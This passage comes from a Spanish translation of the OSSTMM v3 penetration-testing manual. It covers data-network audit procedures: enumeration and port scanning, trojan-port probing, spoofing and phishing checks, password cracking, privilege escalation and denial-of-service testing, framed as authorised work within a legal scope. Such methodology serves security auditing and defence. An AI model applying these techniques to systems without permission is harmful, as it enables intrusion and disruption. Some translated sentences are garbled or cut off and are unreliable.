Se pone de manifiesto. Pruebas que se centran sólo en el descubrimiento de

nuevos problemas sólo dejan espacio para arreglos y no diseños para futuras
mejoras.
Los Analistas Competentes requerirán conocimientos adecuados de redes,

habilidades de prueba de seguridad diligentes y habilidades de pensamiento
crítico para asegurar la recopilación de datos fácticos y crear resultados fácticos
a través de la correlación y el análisis.
Consideraciones:

1. Los analistas que no hacen una revisión de la postura adecuada para el

alcance, así como las regiones de destino para las empresas o las
interacciones no pueden escapar de castigo por violar las leyes
simplemente porque no eran conscientes de la ley, Es decir, las personas
han presumido conocimiento de la ley. Los analistas son considerados
profesionales en este tema y, por lo tanto, se supone que lo que puede no
ser de conocimiento común para una persona normal acerca de una
Página 382 de 430
región extranjera. Las leyes relativas a los sistemas informáticos, los

profesionales se dan cuenta de las leyes necesarias para participar en esa
empresa.
2. Derechos de propiedad: Las pruebas deben dirigirse específicamente

sólo a los sistemas que están bajo propiedad legal directa con el
propietario del ámbito y los sistemas informáticos en la propiedad del
propietario del ámbito. Cualquier efecto personal debe permanecer
personal y privado a menos que involucre específicamente al dueño del
ámbito a través del menosprecio, la falsa luz, la competitividad o las
razones establecidas en los contratos de contrato de personal. Los
analistas deben hacer esfuerzos para no invadir la vida privada de una
persona donde esa vida privada ha hecho esfuerzos para separarse del
alcance. Los analistas con acuerdos especiales para probar sistemas
que están bajo contrato directo, pero no son propiedad o son propiedad,
pero no están alojados en la propiedad legal del propietario debe tomar
mucha precaución para asegurar que las pruebas tengan un impacto
mínimo en otros sistemas y terciarios fuera del alcance o contrato.
11.1 Revisión de Postura.

Los estudios iniciales de la postura incluyen las leyes, la ética, las políticas, las
seguridad y privacidad para el alcance. Esta revisión forma una matriz contra la
cual las pruebas deben ser mapeadas, pero no restringidas debido a la ubicuidad
de los puntos finales del canal.
Por lo tanto, es importante considerar, como requiere alguna legislación, el
mercado objetivo o los usuarios finales de este canal, que también debe
agregarse al ámbito de este módulo.
11.1.1 Política.
Revisar y documentar la política organizacional apropiada con respecto a
los requisitos de seguridad, integridad y privacidad del ámbito. Revisar y
documentar contratos y acuerdos de nivel de servicio (SLA) con
proveedores de servicios y otros terceros involucrados.
11.1.2 Legislación y reglamentos.
regulaciones de la industria con respecto a los requerimientos de
seguridad y privacidad de la organización en el ámbito, así como aquéllos
que incluyen los clientes, socios, sucursales organizacionales o
revendedores apropiados fuera del alcance.
11.1.3 Cultura.
Revisar y documentar la cultura organizacional apropiada en el ámbito de
la concientización sobre la seguridad y la privacidad, la capacitación del
Página 383 de 430

personal necesario y disponible, la jerarquía organizacional, el uso de la

mesa de ayuda y los requisitos para reportar problemas de seguridad.
11.1.4 Antigüedad de los Sistemas
Revise y documente la antigüedad de los sistemas, software y
aplicaciones de servicio requeridos para las operaciones.
11.1.5 Artefactos frágiles
Revise y documente cualquier sistema, software y aplicaciones de servicio
que requieran atención especial debido al alto uso, las inestabilidades o
una alta tasa de cambio.
11.2 Logística.
Esta es la preparación del entorno de prueba de canal necesario para evitar
falsos positivos y falsos negativos que conducen a resultados de pruebas
inexactos.
11.2.1 Marco.
(A) Verificar el alcance y el propietario de los objetivos definidos
para la auditoría.
(B) Determinar la ubicación de la propiedad y el propietario de la
propiedad que contiene los objetivos.
(C) Verificar el propietario de los objetivos de la información de
registro de la red.
(D) Verificar el propietario de los dominios de destino de la
información de registro de dominio.
(E) Verificar el ISP (s) que proporciona acceso a la red o
redundancia.
(F) Buscar otros bloques y objetivos de IP relacionados con el (los)
mismo (s) propietario (s).
(G) Buscar nombres de dominio similares o nombres de dominio
mal escritos que puedan confundirse con el objetivo.
(H) Verificar qué nombres de dominio de destino resuelven a
sistemas fuera del control del propietario, como dispositivos de
almacenamiento en caché.
(I) Verifique qué direcciones IP de destino rastrean a ubicaciones
diferentes de la ubicación del propietario.
(J) Compruebe que las consultas de nombre inverso de las
direcciones del sistema de destino corresponden con el ámbito y el
propietario del ámbito.
Página 384 de 430

(K) Buscar y verificar las rutas de los servicios de red que

interactúan fuera de la meta para los caminos que siguen dentro y
fuera del ámbito.
(L) Preparar la resolución de nombres locales para asignar
nombres de dominio solamente a los sistemas específicos que se
van a probar y no a cualquier dispositivo fuera de la propiedad
objetivo o objetivo.
(M) Utilice la búsqueda inversa de nombres como fuente de
información adicional para determinar la existencia de todas las
máquinas en una red.
11.2.2 Calidad de la red.

(A) Mida la tasa de velocidad y pérdida de paquetes al alcance de un
servicio solicitado en TCP, UDP e ICMP, tanto como una solicitud de
servicio completa como como un par de solicitud / respuesta. Repita cada
solicitud en sucesión al menos 100 veces y registre el promedio para las
solicitudes de servicio completo y las respuestas de paquete para cada
uno de los tres protocolos.
(B) Determine el envío y recepción de tarifas de paquetes para un total de
6 promedios (por protocolo) como solicitudes por segundo por segmento
de red en el ámbito.
(C) Registre los porcentajes de pérdida de paquetes para las tarifas de
envío y recepción de paquetes determinadas.
11.2.3 Tiempo.
(A) Verificar el huso horario, los días festivos y los horarios de trabajo de
los distintos sistemas dentro del alcance
Incluyendo socios, revendedores y clientes influyentes que interactúan
con el ámbito.
(B) Identifique la distancia de tiempo para vivir (TTL) a la puerta de enlace
y los objetivos.
(C) Asegúrese de que el reloj del analista esté sincronizado con el tiempo
de los objetivos.
Página 385 de 430


el filtro o negar los intentos de prueba debe hacerse antes de la prueba para
mitigar el riesgo de corromper los datos del resultado de la prueba, así como
cambiar el estado de alarma del personal o agentes de monitoreo. Puede ser
necesario coordinar estas pruebas con las personas apropiadas dentro del
alcance.
11.3.1 Filtrado.
(A) Compruebe si los datos o las comunicaciones de la red INCOMING a
través de web, mensajería instantánea, chat, foros basados en web o
correo electrónico, son supervisados o filtrados por una parte autorizada
para retransmitir materiales inapropiados, inyecciones de código,
contenido malicioso e información incorrecta. Conducir y registrar las
respuestas y el tiempo de respuesta.
(B) Compruebe si los datos o las comunicaciones de la red SALIENTE
sobre la tela, la mensajería inmediata, el chat, los foros basados en web,
o el correo electrónico, son supervisados o filtrados por un partido
autoritario para la retransmisión de materiales inadecuados, inyecciones
de código, Conducir y registrar las respuestas y el tiempo de respuesta.
11.3.2 Detección activa.
(A) Verificar las respuestas activas a las sondas de los sistemas y
servicios. Esto podría ser notificaciones legibles por el ser humano o la
máquina, respuestas de paquetes, viajes de alarma silenciosa, o
similares.
(B) Asignar cualquier aplicación, sistema o segmento de red dentro del
ámbito que produzca registros, alarmas o notificaciones. Esto podría
incluir sistemas de detección o prevención de intrusos basados en redes
o host, syslog, herramientas de administración de información de
seguridad (SIMs), registros de aplicaciones y similares.
Enumeración e indexación de los objetivos en el ámbito mediante interacción
directa e indirecta con o entre sistemas vivos.
11.4.1 Análisis de redes.
(A) Identificar el perímetro del segmento (s) de la red de destino y el vector
del que serán probados.
(B) Utilizar el sniffing de red para identificar los protocolos de emanación
de las respuestas o peticiones del servicio de red
Página 386 de 430

donde corresponda. Por ejemplo, NetBIOS, ARP, SAP, NFS, BGP, OSPF,
MPLS, RIPv2, etc.
(C) Consultar todos los servidores de nombres y los servidores de
nombres del ISP o del proveedor de alojamiento, si los registros A, AAAA
y PTR correspondientes, así como la capacidad de realizar transferencias
de zona para determinar la existencia de todos los destinos de la red y
cualquier redundancia relacionada, equilibrio de carga, almacenamiento
en caché, proxy y alojamiento virtual.
(D) Verificar las solicitudes de difusión y las respuestas de todos los
objetivos.
(E) Verificar y examinar el uso de protocolos de tráfico y enrutamiento para
todos los objetivos.
(F) Verificar las respuestas ICMP para los tipos ICMP 0-255 y ICMP 0-2
de todos los objetivos.
(G) Compruebe que los nombres de comunidades SNMP
predeterminados y probables en uso son según la práctica
Implementaciones de todas las versiones SNMP.
(H) Verificar las respuestas de los objetivos para seleccionar puertos con
una caducidad TTL establecida en menos de 1 y 2 saltos
De los objetivos. Por ejemplo:
TCP 8, 22, 23, 25, 80, 443, 445, 1433
UDP 0, 53, 139, 161
ICMP T00: C00, T13: C00, T15: C00, T17: C00
(I) Trace la ruta de los paquetes ICMP a todos los objetivos.
(J) Trace la ruta de los paquetes TCP a todos los destinos para los puertos
SSH, SMTP, HTTP y HTTPS.
(K) Trace la ruta de paquetes UDP a todos los destinos para los puertos
DNS y SNMP.
(L) Identificar la predicción del número de secuencia TCP ISN para todos
los objetivos.
(M) Compruebe los incrementos IPID de las respuestas de todos los
destinos.
(N) Compruebe el uso del enrutamiento de origen suelto al gateway de
destino y los sistemas perimetrales externos para encaminar los paquetes
a todos los destinos.
Página 387 de 430

11.4.2 Enumeración.
(A) Buscar grupos de noticias, foros, IRC, IM, P2P, VoIP y comunicaciones
basadas en la web para conectar la información del objetivo para
determinar los sistemas de pasarela de salida y el direccionamiento
interno.
(B) Examine los encabezados de correo electrónico, los mensajes de
correo electrónico devueltos, los recibos de lectura, los errores de correo
y los rechazos de malware para determinar los sistemas de pasarela de
salida y el direccionamiento interno.
(C) Examinar el código fuente y las secuencias de comandos de la
aplicación basada en la Web objetivo para determinar la existencia de
objetivos adicionales en la red.
(D) Examinar las emanaciones de servicio y aplicación. Manipular y
reproducir el tráfico capturado para invocar nuevas solicitudes o
respuestas, obtener profundidad o exponer información adicional. Por
ejemplo,
SQL, Citrix, HTTP, SAP, DNS, ARP, etc.
(E) Buscar registros web y registros de intrusión para las rutas del sistema
de la red de destino.
(F) Verificar todas las respuestas de las solicitudes de paquetes UDP a
los puertos 0-65535.
(G) Verificar las respuestas a las peticiones de paquetes UDP desde los
puertos FUENTE 0, 53, 139 y 161 a 0, 53, 69, 131 y 161.
(H) Verifique las respuestas a las solicitudes de paquetes UDP con BAD
CHECKSUMS a todos los puertos descubiertos y para 0, 53, 69, 131 y
161.
(I) Verificar las respuestas de solicitud de servicio a los puertos de
malware de acceso remoto UDP comunes y contemporáneos.
(J) Verificar las respuestas de las solicitudes de paquetes TCP SYN a los
puertos 0-65535.
(K) Verificar las respuestas de las solicitudes de servicio TCP a los puertos
0, 21, 22, 23, 25, 53, 80 y 443.
(L) Verificar las respuestas de un TCP ACK con un puerto SOURCE de
80 a los puertos 3100-3150, 10001-10050,33500-33550 y 50 puertos
aleatorios por encima de 35000.
(M) Verificar las respuestas de los fragmentos TCP SYN a los puertos 0,
21, 22, 23, 25, 53, 80 y 443.
Página 388 de 430

(N) Compruebe las respuestas de todas las combinaciones de indicadores

TCP a los puertos 0, 21, 22, 23, 25, 53, 80 y 443.
(O) Verificar el uso de todos los destinos con VPN, proxies y
redireccionadores de URL basados en HTTP o HTTPS para redirigir las
solicitudes de destinos dentro del ámbito.
(P) Verificar el uso de todos los objetivos con IPID secuenciales para
enumerar los sistemas dentro de la red.
(Q) Mapear y verificar la coherencia de los sistemas visibles y los puertos
que responden mediante TTL.
Identificar la respuesta TTL de los objetivos, el tiempo de actividad del
sistema, los servicios, las aplicaciones, las fallas de la aplicación y
correlacionar esto con las respuestas de las herramientas de huellas
dactilares del sistema y del servicio.
11.5 Verificación de acceso.
Pruebas para la enumeración de puntos de acceso que están dentro del alcance.
11.5.1 Red.
(A) Solicitar servicios comunes conocidos que utilicen UDP para
conexiones desde todas las direcciones.
(B) Solicitar servicios VPN comunes conocidos, incluidos aquellos
que utilizan IPSEC e IKE para conexiones desde todas las
direcciones.
(C) Manipular el servicio de red y el enrutamiento para acceder a
restricciones anteriores dentro del ámbito de aplicación.
(D) Solicitar servicios de troyanos comunes conocidos que utilicen
UDP para conexiones desde todas las direcciones.
(E) Solicitar servicios de troyanos comunes y conocidos que utilicen
ICMP para conexiones desde todas las direcciones.
(F) Solicitar servicios de troyanos comunes y conocidos que utilicen
TCP para conexiones desde todas las direcciones
Y puertos no filtrados que no han enviado respuesta a un SYN TCP.
11.5.2 Servicios.
(A) Solicite todos los banners de servicio (flags) para los puertos
TCP descubiertos.
(B) Verificar las banderas de servicio (banderas) a través de
interacciones con el servicio que comprende tanto solicitudes
válidas como inválidas.
Página 389 de 430

(C) Relacionar cada puerto abierto con un daemon (servicio), una

aplicación (código específico o producto que utilice el servicio) y un
protocolo (los medios para interactuar con ese servicio o
aplicación).
(D) Verifique el tiempo de actividad del sistema en comparación con
las últimas vulnerabilidades y revisiones de parches.
(E) Verificar la aplicación en el sistema y la versión.
(F) Identificar los componentes del servicio de escucha.
(G) Verificar el tiempo de actividad de los servicios en comparación
con las últimas vulnerabilidades y revisiones.
(H) Verificar el servicio y la aplicación en relación con los resultados
de las huellas dactilares de TTL y OS para todas las direcciones.
(I) Verificar HTTP y HTTPS para el alojamiento virtual.
(J) Verificar los servicios VoIP.
(K) Manipular aplicaciones y solicitudes de servicio fuera de los
límites estándar para incluir caracteres especiales o terminología
especial de ese servicio o aplicación para obtener acceso.
11.5.3 Autenticación.
(A) Enumerar los accesos que requieren autenticación y
documentar todos los privilegios descubiertos que se pueden
utilizar para proporcionar acceso.
(B) Verificar el método para obtener la autorización adecuada para
la autenticación.
(C) Compruebe el método de ser identificado correctamente para
ser proporcionado la autentificación.
(D) Verificar el método lógico de autenticación.
(E) Verificar la intensidad de la autenticación mediante el craqueo
de contraseñas y volver a aplicar las contraseñas descubiertas a
todos los puntos de acceso que requieran autenticación.
(F) Verificar el proceso de recepción de la autenticación.
(G) Prueba de errores lógicos en la aplicación de la autenticación.
Página 390 de 430

11.6 Verificación de Confianza.

Prueba de confianza entre sistemas dentro del ámbito en el que trust se refiere al
acceso a información las propiedades físicas sin necesidad de identificación o
autenticación.
11.6.1 Suplantación
(A) Pruebe las medidas para tener acceso a la propiedad dentro del
alcance falsificando su dirección de red como uno de los hosts de
confianza.
(B) Verificar si los mecanismos de almacenamiento en caché
disponibles pueden estar envenenados.
11.6.2 Phishing
(A) Compruebe que las URL de las solicitudes y consultas en el
destino sean concisas, dentro del mismo dominio, utilice sólo el
método POST y utilice una marca coherente.
(B) Compruebe que no existen imágenes / registros / datos de
contenido de destino en sitios fuera del objetivo para crear un
duplicado del destino.
(C) Examinar registros de dominio de nivel superior para dominios
similares a los identificados dentro del ámbito.
(D) Compruebe que el destino utiliza la personalización en sitios
web y correo al interactuar con usuarios autenticados.
(E) Compruebe el control y la respuesta del objetivo a los rebozos
de correo donde el FROM es falsificado en el campo de
encabezado para que sea el del dominio de destino.
11.6.3 Abuso de recursos
(A) Comprobar la profundidad del acceso a la información
comercial o confidencial disponible en los servidores web sin
ninguna credencial establecida y requerida.
(B) Compruebe si la información se envía al exterior del alcance
como relleno a paquetes de red como el que ha ocurrido
anteriormente como "Etherleak".
(C) Compruebe que las medidas de continuidad, específicamente
el equilibrio de carga, sean independientes del alcance para
impedir que los usuarios utilicen, refieran, enlacen, marquen o
abusen de uno de los recursos.
Página 391 de 430


Pruebas para enumerar y verificar la funcionalidad operacional de las medidas
de seguridad para los activos y servicios.
11.7.1 No repudio
(A) Enumerar y probar el uso o las deficiencias de los daemons y
sistemas para identificar y
Registro de acceso o interacciones a la propiedad de pruebas
específicas para desafiar el repudio.
(B) Documentar la profundidad de la interacción registrada y el
proceso de identificación.
(C) Verificar que todos los métodos de interacción se registren
correctamente con una identificación adecuada.
D) Identificar los métodos de identificación que impidan el rechazo.
11.7.2 Confidencialidad
(A) Enumerar todas las interacciones con servicios dentro del
alcance de comunicaciones o activos transportados a través del
canal usando líneas seguras, encriptación, interacciones
"silenciadas" o "cerradas" para proteger la confidencialidad de la
propiedad de información entre las partes involucradas.
(B) Verificar los métodos aceptables utilizados para la
confidencialidad.
(C) Comprobar la fuerza y el diseño del método de cifrado u
ofuscación.
D) Verificar los límites exteriores de la comunicación que pueden
protegerse mediante los métodos de confidencialidad aplicados.
11.7.3 Privacidad
(A) Enumerar los servicios dentro del ámbito de las comunicaciones
o los bienes transportados mediante firmas específicas, firmas
individuales, identificación personal, "silencio" o interacciones
personales de "habitación cerrada" para proteger la privacidad de
la interacción y el proceso de proporcionar activos sólo a aquellos
dentro de la Autorización de seguridad adecuada para ese proceso,
comunicación o activo.
(B) Corregir la información con puertos TCP y UDP no responsivos
para determinar si la disponibilidad depende de un tipo privado de
contacto o protocolo.
Página 392 de 430

11.7.4 Integridad
Enumerar y probar las insuficiencias de integridad cuando se utiliza
un proceso documentado, firmas, cifrado, hash o marcas para
asegurar que el activo no puede ser cambiado, redirigido o invertido
sin que sea conocido por las partes involucradas.
11.8 Verificación del proceso
Pruebas para examinar el mantenimiento de la seguridad funcional en los
procesos establecidos y la diligencia debida tal como se define en la revisión de
la política.
11.8.1 Mantenimiento
A) Examinar y documentar la oportunidad, la idoneidad, el acceso
y el alcance de los procesos de notificación y respuesta de
seguridad en lo que respecta a la vigilancia de la red y la seguridad.
B) Verificar la idoneidad y la funcionalidad de las capacidades de
respuesta a incidentes y forenses para todos los tipos de sistemas.
(C) Verificar el nivel de incidencia o compromiso que los canales de
soporte pueden detectar y la duración del tiempo de respuesta.
11.8.2 Desinformación
Determinar hasta qué punto las notificaciones de seguridad y las
alarmas pueden ampliarse o alterarse con información errónea.
11.8.3 Auditoria Legal
Mapee y verifique las lagunas entre la práctica y los requisitos
según lo determinado en la revisión de la política a través de todos
los canales.
11.8.4 Indemnización
(A) Documentar y enumerar los objetivos y servicios que están
protegidos contra
Eludir la política del empleado, están asegurados por robo o daños,
o usan responsabilidad y permiso de responsabilidad.
(B) Verificar la legalidad e idoneidad del lenguaje en las renuncias.
(C) Verificar el efecto de las exenciones de responsabilidad sobre
medidas de seguridad o seguridad.
(D) Examinar el lenguaje de la póliza de seguro para las
limitaciones en los tipos de daños o activos.
Página 393 de 430

11.9 Verificación de la configuración

Pruebas para reunir toda la información, técnica y no técnica, sobre cómo se
pretende que funcionen los activos, y para examinar la capacidad de eludir o
interrumpir la seguridad funcional de los activos, explotando la configuración
incorrecta de los controles de acceso, los controles de pérdidas y las
aplicaciones.
11.9.1 Controles de configuración
(A) Examinar los controles para verificar las configuraciones
y las líneas de base de los sistemas, equipos y aplicaciones
cumplan con la intención de la organización y reflejar una
justificación del negocio.
(B) Examinar las listas de control de acceso (ACL) y los roles
empresariales configurados en redes, sistemas,
Servicios y aplicaciones dentro del alcance para asegurar
que cumplen con la intención de la organización
Y reflejar una justificación del negocio.
11.9.2 Errores comunes de configuración
(A) Compruebe que los servicios disponibles no son
innecesariamente redundantes y que coinciden con la
función empresarial pretendida de los sistemas.
(B) Compruebe que se han cambiado los ajustes
predeterminados. Algunos dispositivos o aplicaciones se
suministran con una cuenta administrativa predeterminada u
oculta. Estas cuentas deben cambiarse o, si es posible,
inhabilitarse o eliminarse y reemplazarse por una nueva
cuenta administrativa.
(C) Verifique que la Administración se realiza localmente o
con controles para limitar quién o qué puede acceder a las
interfaces de administración remota del equipo.
11.9.3 Mapeo de Limitaciones
(A) Compruebe si hay servicios o funciones innecesarias o
no disponibles.
(B) Compruebe si hay credenciales predeterminadas.
(C) Identificar si existen vulnerabilidades conocidas en los
sistemas.
Página 394 de 430

11.10 Validación de la propiedad

Pruebas para examinar la información y los datos disponibles dentro del alcance
o proporcionados por el personal que pueden ser ilegales o poco éticos.
11.10.1 Compartir
Compruebe hasta qué punto se comparte intencionalmente a través de
procesos y programas compartidos, bibliotecas y cachés personales, o sin
intención, a través de una mala administración de licencias y recursos o
de negligencia, propiedad privada, falsa, reproducida, no libre o no
abierta.
11.10.2 Mercado negro

Verificar en qué medida se promueve, se comercializa o se vende entre
personal o por la organización bienes privados, falsificados, reproducidos,
no libres o no abiertos.
11.10.3 Canales de venta

Verificar si los negocios públicos, fuera del alcance, las subastas o las
ventas de propiedades proporcionan información de contacto de los
objetivos dentro del alcance.
11.11 Examen de la segregación

Prueba para la separación apropiada de la propiedad de información
privada o personal de información comercial. Al igual que una revisión de
la privacidad, es el punto focal del almacenamiento legal, ético,
transmisión y control de la propiedad de información privada del personal,
socios y clientes.
11.11.1 Mapa de contención de privacidad
Ubicación de ubicaciones clave de propiedad de información privada
dentro del ámbito, qué información se almacena, cómo y dónde se
almacena la información y qué canales se comunican.
11.11.2 Descripción
(A) Examinar y documentar los tipos de revelaciones de propiedad privada
de información para la segregación de acuerdo con la política y las
regulaciones según lo determinado en la Revisión de postura.
(B) Verificar que la información privada y la propiedad intelectual
confidencial, como documentos, contratos de servicio, claves de SO /
Página 395 de 430

Software, etc., no estén disponibles para nadie sin los privilegios

adecuados.
11.11.3Limitaciones
(A) Verificar que existen consideraciones de diseño o alternativas de canal
para personas con limitaciones físicas para interactuar con el objetivo (b)
Identificar cualquier parte de la infraestructura diseñada para interactuar
con niños legalmente identificados como
Menores y verificar qué y cómo se proporciona la información de
identificación de ese niño.
11.11.4 Discriminación
Verificar la información solicitada y los privilegios otorgados por los
guardianes en caso de que la edad (específicamente menores), el sexo,
la raza, la costumbre / cultura y la religión sean factores que puedan ser
discriminados de acuerdo con la revisión de la política.
11.12 Verificación de la exposición
Pruebas para descubrir información que proporciona o da acceso o
permite el acceso a múltiples ubicaciones con la misma autenticación.
11.12.1Enumeración de exposición
(A) Enumerar información sobre la organización como
organigramas, títulos de personal clave, descripciones de puestos,
números de teléfono personales y de trabajo, números de teléfono
móvil, tarjetas de visita, documentos compartidos, currículos,
afiliaciones organizacionales, direcciones de correo electrónico
privadas y públicas, log, Sistemas de registro, contraseñas,
métodos de respaldo, aseguradores o cualquier
Información organizacional implícita y confidencial en los
reglamentos y políticas.
(B) Enumerar las exposiciones de sistemas, servicios y
aplicaciones que detallan el diseño, el tipo, la versión o el estado
de los objetivos o de recursos fuera del ámbito, como los registros
o fugas.
Página 396 de 430

11.13 Inteligencia Competitiva

Prueba de información de barrido que se puede analizar como inteligencia de
negocios. Mientras que la inteligencia competitiva como un campo está
relacionada con la comercialización, el proceso aquí incluye cualquier forma de
reunión de inteligencia competitiva, incluyendo, pero no limitado a espionaje
económico e industrial. La información comercial incluye, pero no se limita a,
relaciones comerciales como empleados, socios o revendedores, contactos,
finanzas, estrategia y planes.
11.13.1 Rectificado de empresas
Enumere y evalúe los puntos de acceso (pasarelas) a la propiedad
empresarial dentro del ámbito: qué información comercial se almacena,
cómo se almacena y dónde se almacena la información.
11.13.2 Proyección
(A) Perfile los tipos de requisito de habilidad de los empleados, las escalas
de pago, la información del canal y la pasarela, las tecnologías y la
dirección organizacional de fuentes externas al ámbito.
B) Configuraciones y configuraciones de redes de datos de perfil de bases
de datos de trabajo y periódicos que contratan anuncios para posiciones
de redes de datos dentro de la organización relacionadas con la ingeniería
o administración de hardware y software dentro del idioma
predeterminado de la empresa.
(A) Explorar y documentar desde el personal de pasarela individual
detalles de negocios tales como alianzas, socios, clientes importantes,
vendedores, distribuidores, inversionistas, relaciones comerciales,
producción, desarrollo, información de productos, planeación, acciones y
comercio y cualquier información o propiedad comercial particular
Declarado implícitamente como confidencial en los reglamentos y
políticas.
(B) Revisar las notas de la web de terceros, las anotaciones y el contenido
del sitio de marcadores sociales para la presencia en la Web del ámbito.
11.13.4 Entorno organizacional
Procesos, jerarquía, informes financieros, oportunidades de inversión,
fusiones, adquisiciones, inversiones en canales, mantenimiento de
canales, políticas sociales internas, insatisfacción del personal y tasa de
cambio de turno, tiempos de vacaciones primarias, Las contrataciones,
los despidos y cualquier otra característica organizacional específica
declarada implícitamente como confidencial en los reglamentos y las
políticas.
Página 397 de 430

11.14 Verificación de cuarentena

Las medidas de contención dictan el manejo del recorrido, los programas
maliciosos y la salida. La identificación de los mecanismos de seguridad y de la
política de respuesta debe ser dirigida. Puede ser necesario solicitar primero una
nueva cuenta de correo de prueba o un sistema de escritorio que el administrador
pueda supervisar. Pruebas para verificar la
Colocación y contención de contactos agresivos u hostiles en los puntos de
acceso.
11.14.1 Identificación del proceso de contención
Identificar y examinar métodos de cuarentena para contactos agresivos y
hostiles como malware, puntos de acceso deshonestos, dispositivos de
almacenamiento no autorizados, etc.
11.14.2 Niveles de Contención
A) Medir los recursos mínimos que deben estar a disposición de
este subsistema para que pueda realizar su tarea.
(B) Verificar los recursos disponibles para este subsistema que no
necesita realizar sus tareas y qué recursos están protegidos contra
el uso por este subsistema.
(C) Verificar las medidas de detección presentes para la detección
del intento de acceso a los recursos blindados.
(D) Verificar las características del sistema de contención.
(E) Verificar que las medidas de detección estén presentes para
detectar el acceso "inusual" a los recursos necesarios
(F) Mida la respuesta y el proceso contra entradas codificadas,
empaquetadas, condensadas, renombradas o enmascaradas.
G) Verificar el estado de contención y la duración de los métodos
de cuarentena tanto dentro como fuera del ámbito de aplicación.
Asegurar la integridad y minuciosidad de los métodos y que estén
dentro del contexto y límites legales.
11.15 Auditoría de privilegios
Examinar y documentar el proceso de autorización para obtener la
identificación de los usuarios a través de medios legítimos y
fraudulentos en todos los canales.
Página 398 de 430

(A) Examinar y verificar cualquier medio para obtener una
autorización fraudulenta para obtener privilegios similares a
los de otro personal.
(B) Enumerar el uso de cuentas por defecto en los objetivos.
C) Comprobar el acceso a los puntos de acceso
autenticados mediante las técnicas de craqueo más
adecuadas y disponibles. El cracking de contraseñas a
través de diccionario o fuerza bruta puede estar limitado por
el marco de tiempo de la auditoría y por lo tanto no es una
prueba válida de la protección de ese esquema de
autenticación, sin embargo, cualquier descubrimiento
exitoso da fe de su debilidad.
11.15.3 Escalamiento
(A) Recoger información sobre personas con privilegios
altos. Busque roles o posiciones de confianza, puertas de
enlace de acceso para personas de confianza y cualquier
medio de acceso físico requerido, como fichas o tarjetas
inteligentes.
(B) Compruebe los límites de privilegios en el destino o entre
múltiples destinos y si existen medios para escalar esos
privilegios.
11.16 Validación de supervivencia

Determinar y medir la resiliencia de los objetivos dentro del alcance a cambios
excesivos o hostiles diseñados para causar fallas o degradación del servicio.
Denial of Service (DoS) es una situación en la que una circunstancia, intencional
o accidentalmente, impide que el sistema funcione como se pretende. En ciertos
casos, el sistema puede estar funcionando exactamente como fue diseñado,
pero nunca fue diseñado para manejar la carga, el alcance o los parámetros que
se le imponen. Supervivencia
Las pruebas deben ser monitoreadas de cerca, ya que la intención es causar un
fallo y esto puede ser inaceptable para el dueño del objetivo.
11.16.1 Resilencia
(A) Verifique los puntos de fallo individuales (puntos de
estrangulamiento) en la infraestructura donde el cambio o el fallo
puede causar una interrupción del servicio.
(B) Verificar el impacto al acceso de destino que causará un fallo
del sistema o del servicio.
Página 399 de 430

(C) Verificar los privilegios disponibles del acceso inducido por

fallos.
(D) Verificar la funcionalidad operacional de los controles para
impedir el acceso o permisos por encima de los privilegios más
bajos posibles en caso de fallo.
11.16.2 Continuidad
(A) Enumerar y probar las insuficiencias de todos los objetivos con
respecto a los retrasos de acceso y los tiempos de respuesta del
servicio a través de sistemas de respaldo o el cambio a canales
alternos.
(B) Verificar que los esquemas de bloqueo de intrusos no se
pueden usar contra usuarios válidos.
11.16.3 Seguridad
Mapear y documentar el proceso de cierre de los sistemas de
destino por parte de los guardianes debido a cuestiones de
evacuación o de seguridad como un análisis de la brecha con la
regulación y la política de seguridad.
11.17 Revisión de alertas y registros
terceros tanto humanas como mecánicas.
11.17.1 Alarma
Verificar y enumerar el uso de un sistema de advertencia, registro
de acceso sobre cada canal en el que el personal sospeche que
hay sospechas de intentos de elusión, ingeniería social o actividad
fraudulenta.
11.17.2 Almacenamiento y recuperación
(A) Documentar y verificar el acceso no privilegiado a las
ubicaciones de almacenamiento de alarmas, registros y
notificaciones y propiedades.
(B) Verificar la calidad y la duración del almacenamiento de
documentos.
Página 400 de 430

12.0.0. Compliance ISO 19600

El cumplimiento legal es un alineamiento con un conjunto de políticas generales,
donde el tipo de cumplimiento requerido depende de la región y el gobierno
actual, la industria y los tipos de negocios, y la legislación de apoyo.
El cumplimiento es obligatorio; Sin embargo, al igual que con cualquier otra
amenaza, debe realizarse una evaluación del riesgo independientemente de que
se invierta en cualquier tipo de cumplimiento. A menudo, el cumplimiento no es
tan blanco y negro como parece ser.
El OSSTMM reconoce tres tipos de cumplimiento:
1. Legislativo. El cumplimiento de la legislación está de acuerdo con la región
donde se puede aplicar la legislación. La fuerza y el compromiso con la
legislación provienen de argumentos legales exitosos con anterioridad y medidas
apropiadas y justas de cumplimiento. El incumplimiento de la legislación puede
Llevar a cargos criminales. Los ejemplos son Sarbanes-Oxley, HIPAA, y la
diversa legislación de la protección de datos y del aislamiento.
2. Contractual. El cumplimiento de los requisitos contractuales es de acuerdo
con la industria o dentro del grupo que requiere el contrato y puede tomar
medidas para hacer cumplir el cumplimiento. El incumplimiento de los requisitos
contractuales a menudo conduce al despido del grupo, a la pérdida de privilegios,
a la pérdida de reputación, a los cargos civiles y, en algunos casos, cuando existe
legislación para apoyar al organismo regulador, los cargos criminales.
Un ejemplo es el estándar de seguridad de datos de la industria de tarjetas de
pago (PCI DSS) promovido y requerido por VISA y MasterCard.
3. Basado en normas. El cumplimiento de las normas está de acuerdo con el
negocio u organización donde el cumplimiento con las normas se aplica como
política. El incumplimiento de las normas suele dar lugar a despido de la
organización, pérdida de privilegios, pérdida de reputación o confianza de marca,
cargos civiles y
Algunos casos en los que existe legislación para apoyar a los encargados de la
formulación de políticas, cargos penales. Los ejemplos son OSSTMM, ISO
27001/5 e ITIL.
El OSSTMM se desarrolla con preocupación por la legislación importante, los
requisitos contractuales y la conformidad de las normas. Como no todos los
objetivos de cumplimiento se crean por igual, el principal objetivo de la OSSTMM
es la seguridad. Las medidas de cumplimiento que requieren productos o
servicios específicos, comerciales o de otra índole.
Sin embargo, en realidad puede ser un desperdicio de recursos o una versión
menor de seguridad de lo que se desea. Que un objetivo de cumplimiento puede
requerir un producto específico en absoluto debe ser ilegal por sí mismo.
Página 401 de 430

Dado que la legislación y la reglamentación pueden ser objeto de auditoría,

según la letra de la ley o el espíritu de la ley, dependiendo del órgano de
auditoría, probando la protección operativa y los controles apropiados y válidos
que puedan ser probados por una prueba OSSTMM pueden o no ser
satisfactorio.
Nota del autor. - El resto del Manual de OSSTMM V3 de 2010 no se ha traducido
dado que es la aplicación STAR para realizar informes, y no objeto de libro
centrarse herramientas específicas para la realización de informes, dado que se
